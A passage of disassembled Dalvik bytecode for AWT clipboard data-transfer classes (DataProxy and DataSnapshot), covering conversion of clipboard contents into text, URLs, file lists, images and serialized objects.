00000060 iget v1, p1, RawBitmap->rMask:I
00000064 aput v1, v4, v0
00000068 const/4 v0, 0x1
0000006A iget v1, p1, RawBitmap->gMask:I
0000006E aput v1, v4, v0
00000072 const/4 v0, 0x2
00000074 iget v1, p1, RawBitmap->bMask:I
00000078 aput v1, v4, v0
0000007C iget-object v0, p1, RawBitmap->buffer:Object
00000080 move-object v1, v0
00000082 check-cast v1, [I
00000086 new-instance v6, DirectColorModel
0000008A const/16 v0, 0x18
0000008E iget v2, p1, RawBitmap->rMask:I
00000092 iget v3, p1, RawBitmap->gMask:I
00000096 iget v5, p1, RawBitmap->bMask:I
0000009A invoke-direct DirectColorModel-><init>(I, I, I, I)V, v6, v0, v2, v3, v5
000000A0 new-instance v0, DataBufferInt
000000A4 array-length v2, v1
000000A6 invoke-direct DataBufferInt-><init>([I, I)V, v0, v1, v2
000000AC iget v1, p1, RawBitmap->width:I
000000B0 iget v2, p1, RawBitmap->height:I
000000B4 iget v3, p1, RawBitmap->stride:I
000000B8 const/4 v5, 0x0
000000BA invoke-static/range Raster->createPackedRaster(DataBuffer, I, I, I, [I, Point)WritableRaster, v0 .. v5
000000C0 move-result-object v0
000000C2 move-object v1, v0
000000C4 move-object v2, v6
:C6
000000C6 if-eqz v2, :CE
:CA
000000CA if-nez v1, :22E
:CE
000000CE const/4 v0, 0x0
000000D0 goto :1E
:D2
000000D2 iget v2, p1, RawBitmap->bits:I
000000D6 const/16 v3, 0x18
000000DA if-ne v2, v3, :198
:DE
000000DE iget-object v2, p1, RawBitmap->buffer:Object
000000E2 instance-of v2, v2, [B
000000E6 if-eqz v2, :198
:EA
000000EA const/4 v0, 0x3
000000EC new-array v2, v0, [I
000000F0 fill-array-data v2, :248
000000F6 invoke-direct DataProxy->isRGB(RawBitmap)Z, p0, p1
000000FC move-result v0
000000FE if-eqz v0, :16C
:102
00000102 const/4 v0, 0x3
00000104 new-array v0, v0, [I
00000108 const/4 v1, 0x1
0000010A const/4 v3, 0x1
0000010C aput v3, v0, v1
00000110 const/4 v1, 0x2
00000112 const/4 v3, 0x2
00000114 aput v3, v0, v1
00000118 move-object v8, v0
:11A
0000011A iget-object v0, p1, RawBitmap->buffer:Object
0000011E move-object v7, v0
00000120 check-cast v7, [B
00000124 new-instance v0, ComponentColorModel
00000128 const/16 v1, 0x3E8
0000012C invoke-static ColorSpace->getInstance(I)ColorSpace, v1
00000132 move-result-object v1
00000134 const/4 v3, 0x0
00000136 const/4 v4, 0x0
00000138 const/4 v5, 0x1
0000013A const/4 v6, 0x0
0000013C invoke-direct/range ComponentColorModel-><init>(ColorSpace, [I, Z, Z, I, I)V, v0 .. v6
00000142 new-instance v1, DataBufferByte
00000146 array-length v2, v7
00000148 invoke-direct DataBufferByte-><init>([B, I)V, v1, v7, v2
0000014E iget v2, p1, RawBitmap->width:I
00000152 iget v3, p1, RawBitmap->height:I
00000156 iget v4, p1, RawBitmap->stride:I
0000015A const/4 v5, 0x3
0000015C const/4 v7, 0x0
0000015E move-object v6, v8
00000160 invoke-static/range Raster->createInterleavedRaster(DataBuffer, I, I, I, I, [I, Point)WritableRaster, v1 .. v7
00000166 move-result-object v1
00000168 move-object v2, v0
0000016A goto :C6
:16C
0000016C invoke-direct DataProxy->isBGR(RawBitmap)Z, p0, p1
00000172 move-result v0
00000174 if-eqz v0, :192
:178
00000178 const/4 v0, 0x3
0000017A new-array v0, v0, [I
0000017E const/4 v1, 0x0
00000180 const/4 v3, 0x2
00000182 aput v3, v0, v1
00000186 const/4 v1, 0x1
00000188 const/4 v3, 0x1
0000018A aput v3, v0, v1
0000018E move-object v8, v0
00000190 goto :11A
:192
00000192 const/4 v0, 0x0
00000194 goto/16 :1E
:198
00000198 iget v2, p1, RawBitmap->bits:I
0000019C const/16 v3, 0x10
000001A0 if-eq v2, v3, :1B0
:1A4
000001A4 iget v2, p1, RawBitmap->bits:I
000001A8 const/16 v3, 0xF
000001AC if-ne v2, v3, :240
:1B0
000001B0 iget-object v2, p1, RawBitmap->buffer:Object
000001B4 instance-of v2, v2, [S
000001B8 if-eqz v2, :240
:1BC
000001BC const/4 v0, 0x3
000001BE new-array v4, v0, [I
000001C2 const/4 v0, 0x0
000001C4 iget v1, p1, RawBitmap->rMask:I
000001C8 aput v1, v4, v0
000001CC const/4 v0, 0x1
000001CE iget v1, p1, RawBitmap->gMask:I
000001D2 aput v1, v4, v0
000001D6 const/4 v0, 0x2
000001D8 iget v1, p1, RawBitmap->bMask:I
000001DC aput v1, v4, v0
000001E0 iget-object v0, p1, RawBitmap->buffer:Object
000001E4 move-object v1, v0
000001E6 check-cast v1, [S
000001EA new-instance v6, DirectColorModel
000001EE iget v0, p1, RawBitmap->bits:I
000001F2 iget v2, p1, RawBitmap->rMask:I
000001F6 iget v3, p1, RawBitmap->gMask:I
000001FA iget v5, p1, RawBitmap->bMask:I
000001FE invoke-direct DirectColorModel-><init>(I, I, I, I)V, v6, v0, v2, v3, v5
00000204 new-instance v0, DataBufferUShort
00000208 array-length v2, v1
0000020A invoke-direct DataBufferUShort-><init>([S, I)V, v0, v1, v2
00000210 iget v1, p1, RawBitmap->width:I
00000214 iget v2, p1, RawBitmap->height:I
00000218 iget v3, p1, RawBitmap->stride:I
0000021C const/4 v5, 0x0
0000021E invoke-static/range Raster->createPackedRaster(DataBuffer, I, I, I, [I, Point)WritableRaster, v0 .. v5
00000224 move-result-object v0
00000226 move-object v1, v0
00000228 move-object v2, v6
0000022A goto/16 :C6
:22E
0000022E new-instance v0, BufferedImage
00000232 const/4 v3, 0x0
00000234 const/4 v4, 0x0
00000236 invoke-direct BufferedImage-><init>(ColorModel, WritableRaster, Z, Hashtable)V, v0, v2, v1, v3, v4
0000023C goto/16 :1E
:240
00000240 move-object v2, v1
00000242 move-object v1, v0
00000244 goto/16 :C6
00000248 .array-data 4 x 0x3
0x8
0x8
0x8
.end array-data
.end method
.method private getCharset(DataFlavor)String
.registers 3
00000000 const-string v0, "charset"
00000004 invoke-virtual DataFlavor->getParameter(String)String, p1, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
.method private getFileList(DataFlavor)Object
.registers 4
00000000 iget-object v0, p0, DataProxy->data:DataProvider
00000004 const-string v1, "application/x-java-file-list"
00000008 invoke-interface DataProvider->isNativeFormatAvailable(String)Z, v0, v1
0000000E move-result v0
00000010 if-nez v0, :20
:14
00000014 new-instance v0, UnsupportedFlavorException
00000018 invoke-direct UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
0000001E throw v0
:20
00000020 iget-object v0, p0, DataProxy->data:DataProvider
00000024 invoke-interface DataProvider->getFileList()[String, v0
0000002A move-result-object v0
0000002C if-nez v0, :48
:30
00000030 new-instance v0, IOException
00000034 const-string v1, "awt.4F"
00000038 invoke-static Messages->getString(String)String, v1
0000003E move-result-object v1
00000040 invoke-direct IOException-><init>(String)V, v0, v1
00000046 throw v0
:48
00000048 invoke-static Arrays->asList([Object)List, v0
0000004E move-result-object v0
00000050 return-object v0
.end method
.method private getHTML(DataFlavor)Object
.registers 4
00000000 iget-object v0, p0, DataProxy->data:DataProvider
00000004 const-string v1, "text/html"
00000008 invoke-interface DataProvider->isNativeFormatAvailable(String)Z, v0, v1
0000000E move-result v0
00000010 if-nez v0, :20
:14
00000014 new-instance v0, UnsupportedFlavorException
00000018 invoke-direct UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
0000001E throw v0
:20
00000020 iget-object v0, p0, DataProxy->data:DataProvider
00000024 invoke-interface DataProvider->getHTML()String, v0
0000002A move-result-object v0
0000002C if-nez v0, :48
:30
00000030 new-instance v0, IOException
00000034 const-string v1, "awt.4F"
00000038 invoke-static Messages->getString(String)String, v1
0000003E move-result-object v1
00000040 invoke-direct IOException-><init>(String)V, v0, v1
00000046 throw v0
:48
00000048 invoke-direct DataProxy->getTextRepresentation(String, DataFlavor)Object, p0, v0, p1
0000004E move-result-object v0
00000050 return-object v0
.end method
.method private getImage(DataFlavor)Image
.registers 4
00000000 iget-object v0, p0, DataProxy->data:DataProvider
00000004 const-string v1, "image/x-java-image"
00000008 invoke-interface DataProvider->isNativeFormatAvailable(String)Z, v0, v1
0000000E move-result v0
00000010 if-nez v0, :20
:14
00000014 new-instance v0, UnsupportedFlavorException
00000018 invoke-direct UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
0000001E throw v0
:20
00000020 iget-object v0, p0, DataProxy->data:DataProvider
00000024 invoke-interface DataProvider->getRawBitmap()RawBitmap, v0
0000002A move-result-object v0
0000002C if-nez v0, :48
:30
00000030 new-instance v0, IOException
00000034 const-string v1, "awt.4F"
00000038 invoke-static Messages->getString(String)String, v1
0000003E move-result-object v1
00000040 invoke-direct IOException-><init>(String)V, v0, v1
00000046 throw v0
:48
00000048 invoke-direct DataProxy->createBufferedImage(RawBitmap)BufferedImage, p0, v0
0000004E move-result-object v0
00000050 return-object v0
.end method
.method private getPlainText(DataFlavor)Object
.registers 4
00000000 iget-object v0, p0, DataProxy->data:DataProvider
00000004 const-string v1, "text/plain"
00000008 invoke-interface DataProvider->isNativeFormatAvailable(String)Z, v0, v1
0000000E move-result v0
00000010 if-nez v0, :20
:14
00000014 new-instance v0, UnsupportedFlavorException
00000018 invoke-direct UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
0000001E throw v0
:20
00000020 iget-object v0, p0, DataProxy->data:DataProvider
00000024 invoke-interface DataProvider->getText()String, v0
0000002A move-result-object v0
0000002C if-nez v0, :48
:30
00000030 new-instance v0, IOException
00000034 const-string v1, "awt.4F"
00000038 invoke-static Messages->getString(String)String, v1
0000003E move-result-object v1
00000040 invoke-direct IOException-><init>(String)V, v0, v1
00000046 throw v0
:48
00000048 invoke-direct DataProxy->getTextRepresentation(String, DataFlavor)Object, p0, v0, p1
0000004E move-result-object v0
00000050 return-object v0
.end method
.method private getSerializedObject(DataFlavor)Object
.registers 4
00000000 invoke-static SystemFlavorMap->encodeDataFlavor(DataFlavor)String, p1
00000006 move-result-object v0
00000008 if-eqz v0, :1C
:C
0000000C iget-object v1, p0, DataProxy->data:DataProvider
00000010 invoke-interface DataProvider->isNativeFormatAvailable(String)Z, v1, v0
00000016 move-result v0
00000018 if-nez v0, :28
:1C
0000001C new-instance v0, UnsupportedFlavorException
00000020 invoke-direct UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
00000026 throw v0
:28
00000028 iget-object v0, p0, DataProxy->data:DataProvider
0000002C invoke-virtual DataFlavor->getRepresentationClass()Class, p1
00000032 move-result-object v1
00000034 invoke-interface DataProvider->getSerializedObject(Class)[B, v0, v1
0000003A move-result-object v0
0000003C if-nez v0, :58
:40
00000040 new-instance v0, IOException
00000044 const-string v1, "awt.4F"
00000048 invoke-static Messages->getString(String)String, v1
0000004E move-result-object v1
00000050 invoke-direct IOException-><init>(String)V, v0, v1
00000056 throw v0
:58
00000058 new-instance v1, ByteArrayInputStream
0000005C invoke-direct ByteArrayInputStream-><init>([B)V, v1, v0
:62
00000062 new-instance v0, ObjectInputStream
00000066 invoke-direct ObjectInputStream-><init>(InputStream)V, v0, v1
0000006C invoke-virtual ObjectInputStream->readObject()Object, v0
:72
00000072 move-result-object v0
00000074 return-object v0
:76
00000076 move-exception v0
00000078 new-instance v1, IOException
0000007C invoke-virtual ClassNotFoundException->getMessage()String, v0
00000082 move-result-object v0
00000084 invoke-direct IOException-><init>(String)V, v1, v0
0000008A throw v1
.catch ClassNotFoundException {:62 .. :72} :76
.end method
.method private getTextRepresentation(String, DataFlavor)Object
.registers 6
00000000 const/4 v2, 0x0
00000002 invoke-virtual DataFlavor->getRepresentationClass()Class, p2
00000008 move-result-object v0
0000000A const-class v1, String
0000000E if-ne v0, v1, :14
:12
00000012 return-object p1
:14
00000014 invoke-virtual DataFlavor->isRepresentationClassReader()Z, p2
0000001A move-result v0
0000001C if-eqz v0, :2E
:20
00000020 new-instance v0, StringReader
00000024 invoke-direct StringReader-><init>(String)V, v0, p1
0000002A move-object p1, v0
0000002C goto :12
:2E
0000002E invoke-virtual DataFlavor->isRepresentationClassCharBuffer()Z, p2
00000034 move-result v0
00000036 if-eqz v0, :44
:3A
0000003A invoke-static CharBuffer->wrap(CharSequence)CharBuffer, p1
00000040 move-result-object p1
00000042 goto :12
:44
00000044 invoke-virtual DataFlavor->getRepresentationClass()Class, p2
0000004A move-result-object v0
0000004C const-class v1, [C
00000050 if-ne v0, v1, :72
:54
00000054 invoke-virtual String->length()I, p1
0000005A move-result v0
0000005C new-array v0, v0, [C
00000060 invoke-virtual String->length()I, p1
00000066 move-result v1
00000068 invoke-virtual String->getChars(I, I, [C, I)V, p1, v2, v1, v0, v2
0000006E move-object p1, v0
00000070 goto :12
:72
00000072 invoke-direct DataProxy->getCharset(DataFlavor)String, p0, p2
00000078 move-result-object v0
0000007A invoke-virtual DataFlavor->getRepresentationClass()Class, p2
00000080 move-result-object v1
00000082 const-class v2, [B
00000086 if-ne v1, v2, :94
:8A
0000008A invoke-virtual String->getBytes(String)[B, p1, v0
00000090 move-result-object p1
00000092 goto :12
:94
00000094 invoke-virtual DataFlavor->isRepresentationClassByteBuffer()Z, p2
0000009A move-result v1
0000009C if-eqz v1, :B2
:A0
000000A0 invoke-virtual String->getBytes(String)[B, p1, v0
000000A6 move-result-object v0
000000A8 invoke-static ByteBuffer->wrap([B)ByteBuffer, v0
000000AE move-result-object p1
000000B0 goto :12
:B2
000000B2 invoke-virtual DataFlavor->isRepresentationClassInputStream()Z, p2
000000B8 move-result v1
000000BA if-eqz v1, :D2
:BE
000000BE invoke-virtual String->getBytes(String)[B, p1, v0
000000C4 move-result-object v0
000000C6 new-instance p1, ByteArrayInputStream
000000CA invoke-direct ByteArrayInputStream-><init>([B)V, p1, v0
000000D0 goto :12
:D2
000000D2 new-instance v0, UnsupportedFlavorException
000000D6 invoke-direct UnsupportedFlavorException-><init>(DataFlavor)V, v0, p2
000000DC throw v0
.end method
.method private getURL(DataFlavor)Object
.registers 5
00000000 iget-object v0, p0, DataProxy->data:DataProvider
00000004 const-string v1, "application/x-java-url"
00000008 invoke-interface DataProvider->isNativeFormatAvailable(String)Z, v0, v1
0000000E move-result v0
00000010 if-nez v0, :20
:14
00000014 new-instance v0, UnsupportedFlavorException
00000018 invoke-direct UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
0000001E throw v0
:20
00000020 iget-object v0, p0, DataProxy->data:DataProvider
00000024 invoke-interface DataProvider->getURL()String, v0
0000002A move-result-object v1
0000002C if-nez v1, :48
:30
00000030 new-instance v0, IOException
00000034 const-string v1, "awt.4F"
00000038 invoke-static Messages->getString(String)String, v1
0000003E move-result-object v1
00000040 invoke-direct IOException-><init>(String)V, v0, v1
00000046 throw v0
:48
00000048 new-instance v0, URL
0000004C invoke-direct URL-><init>(String)V, v0, v1
00000052 invoke-virtual DataFlavor->getRepresentationClass()Class, p1
00000058 move-result-object v1
0000005A const-class v2, URL
0000005E invoke-virtual Class->isAssignableFrom(Class)Z, v1, v2
00000064 move-result v1
00000066 if-eqz v1, :6C
:6A
0000006A return-object v0
:6C
0000006C invoke-virtual DataFlavor->isFlavorTextType()Z, p1
00000072 move-result v1
00000074 if-eqz v1, :8A
:78
00000078 invoke-virtual URL->toString()String, v0
0000007E move-result-object v0
00000080 invoke-direct DataProxy->getTextRepresentation(String, DataFlavor)Object, p0, v0, p1
00000086 move-result-object v0
00000088 goto :6A
:8A
0000008A new-instance v0, UnsupportedFlavorException
0000008E invoke-direct UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
00000094 throw v0
.end method
.method private isBGR(RawBitmap)Z
.registers 4
00000000 iget v0, p1, RawBitmap->rMask:I
00000004 const/16 v1, 0xFF
00000008 if-ne v0, v1, :2A
:C
0000000C iget v0, p1, RawBitmap->gMask:I
00000010 const v1, 0xFF00
00000016 if-ne v0, v1, :2A
:1A
0000001A iget v0, p1, RawBitmap->bMask:I
0000001E const/high16 v1, 0xFF0000
00000022 if-ne v0, v1, :2A
:26
00000026 const/4 v0, 0x1
:28
00000028 return v0
:2A
0000002A const/4 v0, 0x0
0000002C goto :28
.end method
.method private isRGB(RawBitmap)Z
.registers 4
00000000 iget v0, p1, RawBitmap->rMask:I
00000004 const/high16 v1, 0xFF0000
00000008 if-ne v0, v1, :2A
:C
0000000C iget v0, p1, RawBitmap->gMask:I
00000010 const v1, 0xFF00
00000016 if-ne v0, v1, :2A
:1A
0000001A iget v0, p1, RawBitmap->bMask:I
0000001E const/16 v1, 0xFF
00000022 if-ne v0, v1, :2A
:26
00000026 const/4 v0, 0x1
:28
00000028 return v0
:2A
0000002A const/4 v0, 0x0
0000002C goto :28
.end method
.method public getDataProvider()DataProvider
.registers 2
00000000 iget-object v0, p0, DataProxy->data:DataProvider
00000004 return-object v0
.end method
.method public getTransferData(DataFlavor)Object
.registers 4
00000000 new-instance v0, StringBuilder
00000004 invoke-virtual DataFlavor->getPrimaryType()String, p1
0000000A move-result-object v1
0000000C invoke-static String->valueOf(Object)String, v1
00000012 move-result-object v1
00000014 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000001A const-string v1, "/"
0000001E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000024 move-result-object v0
00000026 invoke-virtual DataFlavor->getSubType()String, p1
0000002C move-result-object v1
0000002E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000034 move-result-object v0
00000036 invoke-virtual StringBuilder->toString()String, v0
0000003C move-result-object v0
0000003E invoke-virtual DataFlavor->isFlavorTextType()Z, p1
00000044 move-result v1
00000046 if-eqz v1, :88
:4A
0000004A const-string v1, "text/html"
0000004E invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
00000054 move-result v1
00000056 if-eqz v1, :64
:5A
0000005A invoke-direct DataProxy->getHTML(DataFlavor)Object, p0, p1
00000060 move-result-object v0
:62
00000062 return-object v0
:64
00000064 const-string v1, "text/uri-list"
00000068 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
0000006E move-result v0
00000070 if-eqz v0, :7E
:74
00000074 invoke-direct DataProxy->getURL(DataFlavor)Object, p0, p1
0000007A move-result-object v0
0000007C goto :62
:7E
0000007E invoke-direct DataProxy->getPlainText(DataFlavor)Object, p0, p1
00000084 move-result-object v0
00000086 goto :62
:88
00000088 invoke-virtual DataFlavor->isFlavorJavaFileListType()Z, p1
0000008E move-result v1
00000090 if-eqz v1, :9E
:94
00000094 invoke-direct DataProxy->getFileList(DataFlavor)Object, p0, p1
0000009A move-result-object v0
0000009C goto :62
:9E
0000009E invoke-virtual DataFlavor->isFlavorSerializedObjectType()Z, p1
000000A4 move-result v1
000000A6 if-eqz v1, :B4
:AA
000000AA invoke-direct DataProxy->getSerializedObject(DataFlavor)Object, p0, p1
000000B0 move-result-object v0
000000B2 goto :62
:B4
000000B4 sget-object v1, DataProvider->urlFlavor:DataFlavor
000000B8 invoke-virtual DataFlavor->equals(DataFlavor)Z, p1, v1
000000BE move-result v1
000000C0 if-eqz v1, :CE
:C4
000000C4 invoke-direct DataProxy->getURL(DataFlavor)Object, p0, p1
000000CA move-result-object v0
000000CC goto :62
:CE
000000CE const-string v1, "image/x-java-image"
000000D2 invoke-virtual String->equalsIgnoreCase(String)Z, v0, v1
000000D8 move-result v0
000000DA if-eqz v0, :100
:DE
000000DE const-class v0, Image
000000E2 invoke-virtual DataFlavor->getRepresentationClass()Class, p1
000000E8 move-result-object v1
000000EA invoke-virtual Class->isAssignableFrom(Class)Z, v0, v1
000000F0 move-result v0
000000F2 if-eqz v0, :100
:F6
000000F6 invoke-direct DataProxy->getImage(DataFlavor)Image, p0, p1
000000FC move-result-object v0
000000FE goto :62
:100
00000100 new-instance v0, UnsupportedFlavorException
00000104 invoke-direct UnsupportedFlavorException-><init>(DataFlavor)V, v0, p1
0000010A throw v0
.end method
.method public getTransferDataFlavors()[DataFlavor
.registers 7
00000000 new-instance v2, ArrayList
00000004 invoke-direct ArrayList-><init>()V, v2
0000000A iget-object v0, p0, DataProxy->data:DataProvider
0000000E invoke-interface DataProvider->getNativeFormats()[String, v0
00000014 move-result-object v3
00000016 const/4 v0, 0x0
00000018 move v1, v0
:1A
0000001A array-length v0, v3
0000001C if-lt v1, v0, :3A
:20
00000020 invoke-virtual ArrayList->size()I, v2
00000026 move-result v0
00000028 new-array v0, v0, [DataFlavor
0000002C invoke-virtual ArrayList->toArray([Object)[Object, v2, v0
00000032 move-result-object v0
00000034 check-cast v0, [DataFlavor
00000038 return-object v0
:3A
0000003A iget-object v0, p0, DataProxy->flavorMap:SystemFlavorMap
0000003E aget-object v4, v3, v1
00000042 invoke-virtual SystemFlavorMap->getFlavorsForNative(String)List, v0, v4
00000048 move-result-object v0
0000004A invoke-interface List->iterator()Iterator, v0
00000050 move-result-object v4
:52
00000052 invoke-interface Iterator->hasNext()Z, v4
00000058 move-result v0
0000005A if-nez v0, :66
:5E
0000005E add-int/lit8 v0, v1, 0x1
00000062 move v1, v0
00000064 goto :1A
:66
00000066 invoke-interface Iterator->next()Object, v4
0000006C move-result-object v0
0000006E check-cast v0, DataFlavor
00000072 invoke-virtual ArrayList->contains(Object)Z, v2, v0
00000078 move-result v5
0000007A if-nez v5, :52
:7E
0000007E invoke-virtual ArrayList->add(Object)Z, v2, v0
00000084 goto :52
.end method
.method public isDataFlavorSupported(DataFlavor)Z
.registers 6
00000000 const/4 v1, 0x0
00000002 invoke-virtual DataProxy->getTransferDataFlavors()[DataFlavor, p0
00000008 move-result-object v2
0000000A move v0, v1
:C
0000000C array-length v3, v2
0000000E if-lt v0, v3, :14
:12
00000012 return v1
:14
00000014 aget-object v3, v2, v0
00000018 invoke-virtual DataFlavor->equals(DataFlavor)Z, v3, p1
0000001E move-result v3
00000020 if-eqz v3, :28
:24
00000024 const/4 v1, 0x1
00000026 goto :12
:28
00000028 add-int/lit8 v0, v0, 0x1
0000002C goto :C
.end method
#--------------------------------------------------------------------------------
.class public DataSnapshot
.super Object
.source ""
.implements DataProvider
.field private final fileList:[String
.field private final html:String
.field private final nativeFormats:[String
.field private final rawBitmap:RawBitmap
.field private final serializedObjects:Map
.field private final text:String
.field private final url:String
.method public constructor <init>(DataProvider)V
.registers 6
00000000 invoke-direct Object-><init>()V, p0
00000006 invoke-interface DataProvider->getNativeFormats()[String, p1
0000000C move-result-object v0
0000000E iput-object v0, p0, DataSnapshot->nativeFormats:[String
00000012 invoke-interface DataProvider->getText()String, p1
00000018 move-result-object v0
0000001A iput-object v0, p0, DataSnapshot->text:String
0000001E invoke-interface DataProvider->getFileList()[String, p1
00000024 move-result-object v0
00000026 iput-object v0, p0, DataSnapshot->fileList:[String
0000002A invoke-interface DataProvider->getURL()String, p1
00000030 move-result-object v0
00000032 iput-object v0, p0, DataSnapshot->url:String
00000036 invoke-interface DataProvider->getHTML()String, p1
0000003C move-result-object v0
0000003E iput-object v0, p0, DataSnapshot->html:String
00000042 invoke-interface DataProvider->getRawBitmap()RawBitmap, p1
00000048 move-result-object v0
0000004A iput-object v0, p0, DataSnapshot->rawBitmap:RawBitmap
0000004E new-instance v0, HashMap
00000052 invoke-direct HashMap-><init>()V, v0
00000058 invoke-static Collections->synchronizedMap(Map)Map, v0
0000005E move-result-object v0
00000060 iput-object v0, p0, DataSnapshot->serializedObjects:Map
00000064 const/4 v0, 0x0
:66
00000066 iget-object v1, p0, DataSnapshot->nativeFormats:[String
0000006A array-length v1, v1
0000006C if-lt v0, v1, :72
:70
00000070 return-void
:72
00000072 const/4 v1, 0x0
:74
00000074 iget-object v2, p0, DataSnapshot->nativeFormats:[String
00000078 aget-object v2, v2, v0
0000007C invoke-static SystemFlavorMap->decodeDataFlavor(String)DataFlavor, v2
:82
00000082 move-result-object v1
:84
00000084 if-eqz v1, :A6
:88
00000088 invoke-virtual DataFlavor->getRepresentationClass()Class, v1
0000008E move-result-object v1
00000090 invoke-interface DataProvider->getSerializedObject(Class)[B, p1, v1
00000096 move-result-object v2
00000098 if-eqz v2, :A6
:9C
0000009C iget-object v3, p0, DataSnapshot->serializedObjects:Map
000000A0 invoke-interface Map->put(Object, Object)Object, v3, v1, v2
:A6
000000A6 add-int/lit8 v0, v0, 0x1
000000AA goto :66
:AC
000000AC move-exception v2
000000AE goto :84
.catch ClassNotFoundException {:74 .. :82} :AC
.end method
.method public getFileList()[String
.registers 2
00000000 iget-object v0, p0, DataSnapshot->fileList:[String
00000004 return-object v0
.end method
.method public getHTML()String
.registers 2
00000000 iget-object v0, p0, DataSnapshot->html:String
00000004 return-object v0
.end method
.method public getNativeFormats()[String
.registers 2
00000000 iget-object v0, p0, DataSnapshot->nativeFormats:[String
00000004 return-object v0
.end method
.method public getRawBitmap()RawBitmap
.registers 2
00000000 iget-object v0, p0, DataSnapshot->rawBitmap:RawBitmap
00000004 return-object v0
.end method
.method public getRawBitmapBuffer16()[S
.registers 2
00000000 iget-object v0, p0, DataSnapshot->rawBitmap:RawBitmap
00000004 if-eqz v0, :26
:8
00000008 iget-object v0, p0, DataSnapshot->rawBitmap:RawBitmap
0000000C iget-object v0, v0, RawBitmap->buffer:Object
00000010 instance-of v0, v0, [S
00000014 if-eqz v0, :26
:18
00000018 iget-object v0, p0, DataSnapshot->rawBitmap:RawBitmap
0000001C iget-object v0, v0, RawBitmap->buffer:Object
00000020 check-cast v0, [S
:24
00000024 return-object v0
:26
00000026 const/4 v0, 0x0
00000028 goto :24
.end method
.method public getRawBitmapBuffer32()[I
.registers 2
00000000 iget-object v0, p0, DataSnapshot->rawBitmap:RawBitmap
00000004 if-eqz v0, :26
:8
00000008 iget-object v0, p0, DataSnapshot->rawBitmap:RawBitmap
0000000C iget-object v0, v0, RawBitmap->buffer:Object
00000010 instance-of v0, v0, [I
00000014 if-eqz v0, :26
:18
00000018 iget-object v0, p0, DataSnapshot->rawBitmap:RawBitmap
0000001C iget-object v0, v0, RawBitmap->buffer:Object
00000020 check-cast v0, [I
:24
00000024 return-object v0
:26
00000026 const/4 v0, 0x0
00000028 goto :24
.end method
.method public getRawBitmapBuffer8()[B
.registers 2
00000000 iget-object v0, p0, DataSnapshot->rawBitmap:RawBitmap
00000004 if-eqz v0, :26
:8
00000008 iget-object v0, p0, DataSnapshot->rawBitmap:RawBitmap
0000000C iget-object v0, v0, RawBitmap->buffer:Object
00000010 instance-of v0, v0, [B
00000014 if-eqz v0, :26
:18
00000018 iget-object v0, p0, DataSnapshot->rawBitmap:RawBitmap
0000001C iget-object v0, v0, RawBitmap->buffer:Object
00000020 check-cast v0, [B
:24
00000024 return-object v0
:26
00000026 const/4 v0, 0x0
00000028 goto :24
.end method
.method public getRawBitmapHeader()[I
.registers 2
00000000 iget-object v0, p0, DataSnapshot->rawBitmap:RawBitmap
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, DataSnapshot->rawBitmap:RawBitmap
0000000C invoke-virtual RawBitmap->getHeader()[I, v0
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 const/4 v0, 0x0
00000018 goto :14
.end method
.method public getSerializedObject(Class)[B
.registers 3
00000000 iget-object v0, p0, DataSnapshot->serializedObjects:Map
00000004 invoke-interface Map->get(Object)Object, v0, p1
0000000A move-result-object v0
0000000C check-cast v0, [B
00000010 return-object v0
.end method
.method public getSerializedObject(String)[B
.registers 3
00000000 invoke-static SystemFlavorMap->decodeDataFlavor(String)DataFlavor, p1
00000006 move-result-object v0
00000008 invoke-virtual DataFlavor->getRepresentationClass()Class, v0
0000000E move-result-object v0
00000010 invoke-virtual DataSnapshot->getSerializedObject(Class)[B, p0, v0
:16
00000016 move-result-object v0
:18
00000018 return-object v0
:1A
0000001A move-exception v0
0000001C const/4 v0, 0x0
0000001E goto :18
.catch Exception {:0 .. :16} :1A
.end method
.method public getText()String
.registers 2
00000000 iget-object v0, p0, DataSnapshot->text:String
00000004 return-object v0
.end method
.method public getURL()String
.registers 2
00000000 iget-object v0, p0, DataSnapshot->url:String
00000004 return-object v0
.end method
.method public isNativeFormatAvailable(String)Z
.registers 5
00000000 const/4 v1, 0x1
00000002 const/4 v0, 0x0
00000004 if-nez p1, :A
:8
00000008 return v0
:A
0000000A const-string v2, "text/plain"
0000000E invoke-virtual String->equals(Object)Z, p1, v2
00000014 move-result v2
00000016 if-eqz v2, :26
:1A
0000001A iget-object v2, p0, DataSnapshot->text:String
0000001E if-eqz v2, :8
:22
00000022 move v0, v1
00000024 goto :8
:26
00000026 const-string v2, "application/x-java-file-list"
0000002A invoke-virtual String->equals(Object)Z, p1, v2
00000030 move-result v2
00000032 if-eqz v2, :42
:36
00000036 iget-object v2, p0, DataSnapshot->fileList:[String
0000003A if-eqz v2, :8
:3E
0000003E move v0, v1
00000040 goto :8
:42
00000042 const-string v2, "application/x-java-url"
00000046 invoke-virtual String->equals(Object)Z, p1, v2
0000004C move-result v2
0000004E if-eqz v2, :5E
:52
00000052 iget-object v2, p0, DataSnapshot->url:String
00000056 if-eqz v2, :8
:5A
0000005A move v0, v1
0000005C goto :8
:5E
0000005E const-string v2, "text/html"
00000062 invoke-virtual String->equals(Object)Z, p1, v2
00000068 move-result v2
0000006A if-eqz v2, :7A
:6E
0000006E iget-object v2, p0, DataSnapshot->html:String
00000072 if-eqz v2, :8
:76
00000076 move v0, v1
00000078 goto :8
:7A
0000007A const-string v2, "image/x-java-image"
0000007E invoke-virtual String->equals(Object)Z, p1, v2
00000084 move-result v2
00000086 if-eqz v2, :96
:8A
0000008A iget-object v2, p0, DataSnapshot->rawBitmap:RawBitmap
0000008E if-eqz v2, :8
:92
00000092 move v0, v1
00000094 goto :8
:96
00000096 invoke-static SystemFlavorMap->decodeDataFlavor(String)DataFlavor, p1
0000009C move-result-object v1
0000009E iget-object v2, p0, DataSnapshot->serializedObjects:Map
